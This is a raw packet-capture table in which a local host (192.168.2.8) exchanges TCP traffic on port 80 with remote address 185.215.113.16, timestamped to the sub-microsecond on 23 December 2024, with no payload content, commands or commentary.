Dec 23, 2024 08:04:15.808317900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.808840036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.808927059 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.809004068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.809612989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.809801102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.809834957 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.810283899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.810322046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.810337067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.855696917 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.967783928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.967914104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.967953920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.968054056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.968097925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.968616962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.968740940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.968758106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.968924999 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.969296932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.969432116 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.969537973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.969928980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.970037937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.970175982 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.970592022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.970721960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.970827103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.971261978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.971405029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.971920967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.971966982 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.972011089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.972549915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.972625971 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.972657919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.972733974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.973190069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.973403931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.973463058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.973866940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.973982096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.974103928 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.974513054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.974620104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.975178003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.975297928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.975333929 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.975807905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.975852966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.975929976 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.976505995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.976603031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.976608992 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.976651907 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.977099895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.977238894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.977363110 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.977762938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.977880955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.977957010 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.978425026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.978533030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.978667974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.979078054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.979202032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.979756117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.979852915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.979933023 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.980401993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.980484962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.980494022 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.980546951 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.981070995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.981178999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.981281996 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.981698990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.981829882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.981895924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.982369900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.982405901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.982472897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.983016968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.983129025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.983191967 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.983694077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.983812094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.983966112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.984338999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.984375954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.984447002 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.985007048 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.985198021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.985279083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.985641956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.985749960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.985804081 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.986274004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.986378908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.986943007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.987030029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.987301111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.987602949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.987725019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.987771034 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.988301992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.988365889 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.988557100 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.988858938 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.988925934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.989058971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.989132881 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.989547014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.989681005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.989758968 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.990217924 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.990331888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.990880966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.990969896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.991113901 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.991513014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.991578102 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.991631985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.992175102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.992264986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.992270947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.992325068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.992868900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.993019104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.993081093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.993520975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.993637085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.993694067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.994179010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.994291067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.994358063 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.994791985 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.994997025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.995440960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.995491028 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.995553017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.996114016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.996202946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.996206045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.996320009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.996757984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.996817112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.996865988 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.997414112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.997545958 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.997651100 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.998054028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.998158932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.998703957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.998794079 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.998823881 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.999375105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:15.999432087 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:15.999470949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.000009060 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.000102043 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.000133038 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.000722885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.000798941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.000813007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.000868082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.001347065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.001760960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.001928091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.001945972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.058804035 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.159894943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.159970045 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.160155058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.160168886 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.160264015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.160885096 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.160887003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.160939932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.160986900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.161499977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.161772966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.162049055 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.162120104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.162236929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.162322044 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.162770033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.162894011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.163470030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.163572073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.163618088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.164108992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.164227962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.164259911 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.164755106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.164835930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.164861917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.165381908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.165473938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.165482044 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.166058064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.166153908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.166424990 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.166697979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.166750908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.166810989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.166898012 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.167335987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.167449951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.167511940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.167999983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.168111086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.168178082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.168651104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.168755054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.168879986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.169312954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.169390917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.169470072 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.169958115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.170078993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.170456886 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.170612097 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.170734882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.171246052 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.171319962 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.171358109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.171912909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.172058105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.172209978 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.172209978 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.172569036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.172669888 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.173226118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.173285007 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.173324108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.173888922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.173986912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.174046040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.174544096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.174642086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.174838066 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.175190926 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.175297022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.175359011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.175359011 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.175854921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.175988913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.176368952 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.176482916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.176589012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.176731110 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.177176952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.177246094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.177798033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.177912951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.178385019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.178385019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.178448915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.178574085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.179105043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.179219007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.179774046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.179855108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.180424929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.180541039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.180846930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.180846930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.180846930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.180846930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.181077957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.181193113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.181725025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.181859016 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.182372093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.182449102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.182807922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.182807922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.182807922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.183036089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.183146954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.183279037 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.183689117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.183794022 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.183933020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.184336901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.184442043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.185003996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.185074091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.185080051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.185159922 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.185663939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.185756922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.186291933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.186346054 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.186403036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.186470032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.186944008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.187056065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.187118053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.187614918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.187730074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.187783003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.188283920 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.188375950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.188493013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.188910961 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.189030886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.189563990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.189599037 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.189683914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.189827919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.190270901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.190378904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.190670013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.190902948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.191015005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.191078901 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.191582918 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.191692114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.191762924 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.192192078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.192301035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.192375898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.192944050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.193093061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.193506956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.193592072 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.193634033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.193912983 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.194112062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.246334076 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.352312088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.352374077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.352566004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.352586031 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.352610111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:16.352662086 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:16.353228092 CET	80	49716	185.215.113.16	192.168.2.8
